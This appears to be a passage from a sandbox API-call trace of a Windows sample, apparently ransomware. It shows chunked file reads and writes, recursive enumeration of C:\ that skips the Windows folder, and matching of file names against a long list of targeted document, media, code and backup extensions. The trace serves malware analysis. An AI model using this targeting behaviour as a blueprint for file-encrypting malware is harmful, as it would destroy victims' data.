lpNewFilePointer=0x0) returned 1 [0082.139] ReadFile (in: hFile=0x1dc, lpBuffer=0x3db0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x393fc38, lpOverlapped=0x0 | out: lpBuffer=0x3db0058*, lpNumberOfBytesRead=0x393fc38*=0x40000, lpOverlapped=0x0) returned 1 [0083.372] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x4563a3, lpNewFilePointer=0x0, dwMoveMethod=0x393fc2c | out: lpNewFilePointer=0x0) returned 1 [0083.372] ReadFile (in: hFile=0x1dc, lpBuffer=0x3df0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x393fc38, lpOverlapped=0x0 | out: lpBuffer=0x3df0058*, lpNumberOfBytesRead=0x393fc38*=0x40000, lpOverlapped=0x0) returned 1 [0083.382] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x393fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0083.383] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0xcc2aea, lpNewFilePointer=0x0, dwMoveMethod=0x393fc2c | out: lpNewFilePointer=0x0) returned 1 [0083.383] ReadFile (in: hFile=0x1dc, lpBuffer=0x3e30058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x393fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e30058*, lpNumberOfBytesRead=0x393fc38*=0x40000, lpOverlapped=0x0) returned 1 [0083.904] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x393fec8 | out: lpNewFilePointer=0x0) returned 1 [0083.904] WriteFile (hFile=0x1dc, lpBuffer=0x3db0020, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x393fcb0, lpOverlapped=0x0) Thread: id = 19 os_tid = 0x85c [0059.249] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xfffe) returned 0x36b42b8 [0059.250] lstrlenW (lpString="C:") returned 2 [0059.250] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x3a7fd00 | out: lpFindFileData=0x3a7fd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x51a028 [0059.250] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0059.250] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin") returned 1 [0059.251] lstrlenW (lpString="$Recycle.Bin") returned 12 [0059.251] lstrcmpiW (lpString1="C:\\Windows", lpString2="$Recycle.Bin") returned 1 [0059.251] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xfffe) returned 0x36c42c0 [0059.252] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0059.252] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x3a7fa84 | out: lpFindFileData=0x3a7fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x51a068 [0059.253] FindNextFileW (in: hFindFile=0x51a068, lpFindFileData=0x3a7fa84 | out: lpFindFileData=0x3a7fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.253] FindNextFileW (in: hFindFile=0x51a068, lpFindFileData=0x3a7fa84 | out: lpFindFileData=0x3a7fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0059.253] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0059.253] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 1 [0059.253] lstrlenW (lpString="S-1-5-21-3388679973-3930757225-3770151564-1000") returned 46 [0059.253] lstrcmpiW (lpString1="C:\\Windows", lpString2="S-1-5-21-3388679973-3930757225-3770151564-1000") returned -1 [0059.253] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xfffe) returned 0x36d42c8 [0059.254] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0059.254] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x3a7f808 | out: lpFindFileData=0x3a7f808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x51b4a0 [0059.254] FindNextFileW (in: hFindFile=0x51b4a0, lpFindFileData=0x3a7f808 | out: lpFindFileData=0x3a7f808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.255] FindNextFileW (in: hFindFile=0x51b4a0, lpFindFileData=0x3a7f808 | out: lpFindFileData=0x3a7f808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0059.255] lstrlenW (lpString="desktop.ini") returned 11 [0059.255] lstrlenW (lpString=".1cd") returned 4 [0059.255] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0059.255] lstrlenW (lpString=".3ds") returned 4 [0059.255] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1 [0059.255] lstrlenW (lpString=".3fr") returned 4 [0059.255] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1 [0059.255] lstrlenW (lpString=".3g2") returned 4 [0059.255] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1 [0059.255] lstrlenW (lpString=".3gp") returned 4 [0059.255] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1 [0059.255] lstrlenW (lpString=".7z") returned 3 [0059.256] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0059.256] lstrlenW (lpString=".accda") returned 6 [0059.256] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1 [0059.256] lstrlenW (lpString=".accdb") returned 6 [0059.256] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1 [0059.256] lstrlenW (lpString=".accdc") returned 6 [0059.256] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1 [0059.256] lstrlenW (lpString=".accde") returned 6 [0059.256] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1 [0059.256] lstrlenW (lpString=".accdt") returned 6 [0059.256] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1 [0059.256] lstrlenW (lpString=".accdw") returned 6 [0059.256] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1 [0059.256] lstrlenW (lpString=".adb") returned 4 [0059.256] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1 [0059.256] lstrlenW (lpString=".adp") returned 4 [0059.256] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1 [0059.257] lstrlenW (lpString=".ai") returned 3 [0059.257] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1 [0059.257] lstrlenW (lpString=".ai3") returned 4 [0059.257] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1 [0059.257] lstrlenW (lpString=".ai4") returned 4 [0059.257] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1 [0059.257] lstrlenW (lpString=".ai5") returned 4 [0059.257] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1 [0059.257] lstrlenW (lpString=".ai6") returned 4 [0059.257] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1 [0059.257] lstrlenW (lpString=".ai7") returned 4 [0059.257] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1 [0059.257] lstrlenW (lpString=".ai8") returned 4 [0059.257] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1 [0059.257] lstrlenW (lpString=".anim") returned 5 [0059.257] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1 [0059.257] lstrlenW (lpString=".arw") returned 4 [0059.257] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1 [0059.258] lstrlenW (lpString=".as") returned 3 [0059.258] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1 [0059.258] lstrlenW (lpString=".asa") returned 4 [0059.258] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1 [0059.258] lstrlenW (lpString=".asc") returned 4 [0059.258] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1 [0059.258] lstrlenW (lpString=".ascx") returned 5 [0059.258] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1 [0059.258] lstrlenW (lpString=".asm") returned 4 [0059.258] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1 [0059.258] lstrlenW (lpString=".asmx") returned 5 [0059.258] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1 [0059.258] lstrlenW (lpString=".asp") returned 4 [0059.258] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1 [0059.259] lstrlenW (lpString=".aspx") returned 5 [0059.259] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1 [0059.259] lstrlenW (lpString=".asr") returned 4 [0059.259] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1 [0059.259] lstrlenW (lpString=".asx") returned 4 [0059.259] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1 [0059.259] lstrlenW (lpString=".avi") returned 4 [0059.259] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1 [0059.259] lstrlenW (lpString=".avs") returned 4 [0059.259] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1 [0059.259] lstrlenW (lpString=".backup") returned 7 [0059.259] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1 [0059.259] lstrlenW (lpString=".bak") returned 4 [0059.259] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1 [0059.259] lstrlenW (lpString=".bay") returned 4 [0059.259] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1 [0059.259] lstrlenW (lpString=".bd") returned 3 [0059.260] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1 [0059.260] lstrlenW (lpString=".bin") returned 4 [0059.260] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1 [0059.260] lstrlenW (lpString=".bmp") returned 4 [0059.260] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1 [0059.260] lstrlenW (lpString=".bz2") returned 4 [0059.260] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0059.260] lstrlenW (lpString=".c") returned 2 [0059.260] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1 [0059.260] lstrlenW (lpString=".cdr") returned 4 [0059.260] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1 [0059.260] lstrlenW (lpString=".cer") returned 4 [0059.260] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1 [0059.260] lstrlenW (lpString=".cf") returned 3 [0059.260] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1 [0059.260] lstrlenW (lpString=".cfc") returned 4 [0059.261] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1 [0059.261] lstrlenW (lpString=".cfm") returned 4 [0059.261] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1 [0059.261] lstrlenW (lpString=".cfml") returned 5 [0059.261] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1 [0059.261] lstrlenW (lpString=".cfu") returned 4 [0059.261] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1 [0059.261] lstrlenW (lpString=".chm") returned 4 [0059.261] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1 [0059.261] lstrlenW (lpString=".cin") returned 4 [0059.261] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1 [0059.261] lstrlenW (lpString=".class") returned 6 [0059.261] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1 [0059.261] lstrlenW (lpString=".clx") returned 4 [0059.261] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1 [0059.262] lstrlenW (lpString=".config") returned 7 [0059.262] lstrcmpiW (lpString1=".config", lpString2="top.ini") returned -1 [0059.262] lstrlenW (lpString=".cpp") returned 4 [0059.262] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1 [0059.262] lstrlenW (lpString=".cr2") returned 4 [0059.262] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1 [0059.262] lstrlenW (lpString=".crt") returned 4 [0059.262] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1 [0059.262] lstrlenW (lpString=".crw") returned 4 [0059.262] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1 [0059.262] lstrlenW (lpString=".cs") returned 3 [0059.262] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1 [0059.262] lstrlenW (lpString=".css") returned 4 [0059.262] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1 [0059.262] lstrlenW (lpString=".csv") returned 4 [0059.263] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1 [0059.263] lstrlenW (lpString=".cub") returned 4 [0059.263] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1 [0059.263] lstrlenW (lpString=".dae") returned 4 [0059.263] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1 [0059.263] lstrlenW (lpString=".dat") returned 4 [0059.263] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1 [0059.263] lstrlenW (lpString=".db") returned 3 [0059.263] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1 [0059.263] lstrlenW (lpString=".dbf") returned 4 [0059.263] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0059.263] lstrlenW (lpString=".dbx") returned 4 [0059.263] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1 [0059.263] lstrlenW (lpString=".dc3") returned 4 [0059.263] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1 [0059.263] lstrlenW (lpString=".dcm") returned 4 [0059.263] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1 [0059.264] lstrlenW (lpString=".dcr") returned 4 [0059.264] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1 [0059.264] lstrlenW (lpString=".der") returned 4 [0059.264] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1 [0059.264] lstrlenW (lpString=".dib") returned 4 [0059.264] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1 [0059.264] lstrlenW (lpString=".dic") returned 4 [0059.264] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1 [0059.264] lstrlenW (lpString=".dif") returned 4 [0059.264] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1 [0059.264] lstrlenW (lpString=".divx") returned 5 [0059.264] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1 [0059.264] lstrlenW (lpString=".djvu") returned 5 [0059.264] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1 [0059.264] lstrlenW (lpString=".dng") returned 4 [0059.264] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1 [0059.265] lstrlenW (lpString=".doc") returned 4 [0059.265] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0059.265] lstrlenW (lpString=".docm") returned 5 [0059.265] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1 [0059.265] lstrlenW (lpString=".docx") returned 5 [0059.265] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0059.265] lstrlenW (lpString=".dot") returned 4 [0059.265] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1 [0059.265] lstrlenW (lpString=".dotm") returned 5 [0059.265] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1 [0059.265] lstrlenW (lpString=".dotx") returned 5 [0059.265] lstrcmpiW (lpString1=".dotx", lpString2="p.ini") returned -1 [0059.265] lstrlenW (lpString=".dpx") returned 4 [0059.265] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1 [0059.265] lstrlenW (lpString=".dqy") returned 4 [0059.265] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1 [0059.266] lstrlenW (lpString=".dsn") returned 4 [0059.266] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1 [0059.266] lstrlenW (lpString=".dt") returned 3 [0059.266] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1 [0059.266] lstrlenW (lpString=".dtd") returned 4 [0059.266] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1 [0059.266] lstrlenW (lpString=".dwg") returned 4 [0059.266] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1 [0059.266] lstrlenW (lpString=".dwt") returned 4 [0059.266] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1 [0059.266] lstrlenW (lpString=".dx") returned 3 [0059.266] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1 [0059.266] lstrlenW (lpString=".dxf") returned 4 [0059.266] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1 [0059.266] lstrlenW (lpString=".edml") returned 5 [0059.266] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1 [0059.266] lstrlenW (lpString=".efd") returned 4 [0059.267] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1 [0059.267] lstrlenW (lpString=".elf") returned 4 [0059.267] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1 [0059.267] lstrlenW (lpString=".emf") returned 4 [0059.267] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1 [0059.267] lstrlenW (lpString=".emz") returned 4 [0059.267] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1 [0059.267] lstrlenW (lpString=".epf") returned 4 [0059.267] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1 [0059.267] lstrlenW (lpString=".eps") returned 4 [0059.267] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1 [0059.268] lstrlenW (lpString=".epsf") returned 5 [0059.268] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1 [0059.268] lstrlenW (lpString=".epsp") returned 5 [0059.268] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1 [0059.268] lstrlenW (lpString=".erf") returned 4 [0059.268] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1 [0059.268] lstrlenW (lpString=".exr") returned 4 [0059.268] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1 [0059.268] lstrlenW (lpString=".f4v") returned 4 [0059.269] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1 [0059.269] lstrlenW (lpString=".fido") returned 5 [0059.269] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1 [0059.269] lstrlenW (lpString=".flm") returned 4 [0059.269] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1 [0059.269] lstrlenW (lpString=".flv") returned 4 [0059.269] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1 [0059.269] lstrlenW (lpString=".frm") returned 4 [0059.269] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1 [0059.269] lstrlenW (lpString=".fxg") returned 4 [0059.269] lstrcmpiW (lpString1=".fxg", lpString2=".ini") returned -1 [0059.269] lstrlenW (lpString=".geo") returned 4 [0059.269] lstrcmpiW (lpString1=".geo", lpString2=".ini") returned -1 [0059.269] lstrlenW (lpString=".gif") returned 4 [0059.269] lstrcmpiW (lpString1=".gif", lpString2=".ini") returned -1 [0059.269] lstrlenW (lpString=".grs") returned 4 [0059.270] lstrcmpiW (lpString1=".grs", lpString2=".ini") returned -1 [0059.270] lstrlenW (lpString=".gz") returned 3 [0059.270] lstrcmpiW (lpString1=".gz", lpString2="ini") returned -1 [0059.270] lstrlenW (lpString=".h") returned 2 [0059.270] lstrcmpiW (lpString1=".h", lpString2="ni") returned -1 [0059.270] lstrlenW (lpString=".hdr") returned 4 [0059.270] lstrcmpiW (lpString1=".hdr", lpString2=".ini") returned -1 [0059.270] lstrlenW (lpString=".hpp") returned 4 [0059.270] lstrcmpiW (lpString1=".hpp", lpString2=".ini") returned -1 [0059.270] lstrlenW (lpString=".hta") returned 4 [0059.270] lstrcmpiW (lpString1=".hta", lpString2=".ini") returned -1 [0059.270] lstrlenW (lpString=".htc") returned 4 [0059.270] lstrcmpiW (lpString1=".htc", lpString2=".ini") returned -1 [0059.270] lstrlenW (lpString=".htm") returned 4 [0059.270] lstrcmpiW (lpString1=".htm", lpString2=".ini") returned -1 [0059.270] lstrlenW (lpString=".html") returned 5 [0059.271] lstrcmpiW (lpString1=".html", lpString2="p.ini") returned -1 [0059.271] lstrlenW (lpString=".icb") returned 4 [0059.271] lstrcmpiW (lpString1=".icb", lpString2=".ini") returned -1 [0059.271] lstrlenW (lpString=".ics") returned 4 [0059.271] lstrcmpiW (lpString1=".ics", lpString2=".ini") returned -1 [0059.271] lstrlenW (lpString=".iff") returned 4 [0059.271] lstrcmpiW (lpString1=".iff", lpString2=".ini") returned -1 [0059.271] lstrlenW (lpString=".inc") returned 4 [0059.271] lstrcmpiW (lpString1=".inc", lpString2=".ini") returned -1 [0059.271] lstrlenW (lpString=".indd") returned 5 [0059.271] lstrcmpiW (lpString1=".indd", lpString2="p.ini") returned -1 [0059.271] lstrlenW (lpString=".ini") returned 4 [0059.271] lstrcmpiW (lpString1=".ini", lpString2=".ini") returned 0 [0059.271] FindNextFileW (in: hFindFile=0x51b4a0, lpFindFileData=0x3a7f808 | out: lpFindFileData=0x3a7f808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0059.272] FindClose (in: hFindFile=0x51b4a0 | out: hFindFile=0x51b4a0) returned 1 [0059.272] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x36d42c8 | out: hHeap=0x4c0000) returned 1 [0059.272] FindNextFileW (in: hFindFile=0x51a068, lpFindFileData=0x3a7fa84 | out: lpFindFileData=0x3a7fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0059.272] FindClose (in: hFindFile=0x51a068 | out: hFindFile=0x51a068) returned 1 [0059.272] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x36c42c0 | out: hHeap=0x4c0000) returned 1 [0059.272] FindNextFileW (in: hFindFile=0x51a028, lpFindFileData=0x3a7fd00 | out: lpFindFileData=0x3a7fd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0059.273] lstrlenW (lpString="C:\\Boot") returned 7 [0059.273] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Boot") returned 1 [0059.273] lstrlenW (lpString="Boot") returned 4 [0059.273] lstrcmpiW (lpString1="C:\\Windows", lpString2="Boot") returned 1 [0059.273] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xfffe) returned 0x36c42c0 [0059.273] lstrlenW (lpString="C:\\Boot") returned 7 [0059.273] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x3a7fa84 | out: lpFindFileData=0x3a7fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x519fc8 [0059.611] FindNextFileW (in: hFindFile=0x519fc8, lpFindFileData=0x3a7fa84 | out: lpFindFileData=0x3a7fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xbb59b0a0, ftLastWriteTime.dwHighDateTime=0x1d5e0c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.645] FindNextFileW (in: hFindFile=0x519fc8, lpFindFileData=0x3a7fa84 | out: lpFindFileData=0x3a7fa84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x2ebf9340, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2ebf9340, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0059.645] lstrlenW (lpString="BCD") returned 3 [0059.645] lstrlenW (lpString=".1cd") returned 4 [0059.645] lstrcmpiW (lpString1=".1cd", lpString2="") returned 1 [0059.645] lstrlenW (lpString=".3ds") returned 4 [0059.645] lstrcmpiW (lpString1=".3ds", lpString2="") returned 1 [0059.645] lstrlenW (lpString=".3fr") returned 4 [0059.645] lstrcmpiW (lpString1=".3fr", lpString2="") returned 1 [0059.645] lstrlenW (lpString=".3g2") returned 4 [0059.646] lstrcmpiW (lpString1=".3g2", lpString2="") returned 1 [0059.646] lstrlenW (lpString=".3gp") returned 4 [0059.646] lstrcmpiW (lpString1=".3gp", lpString2="") returned 1 [0059.646] 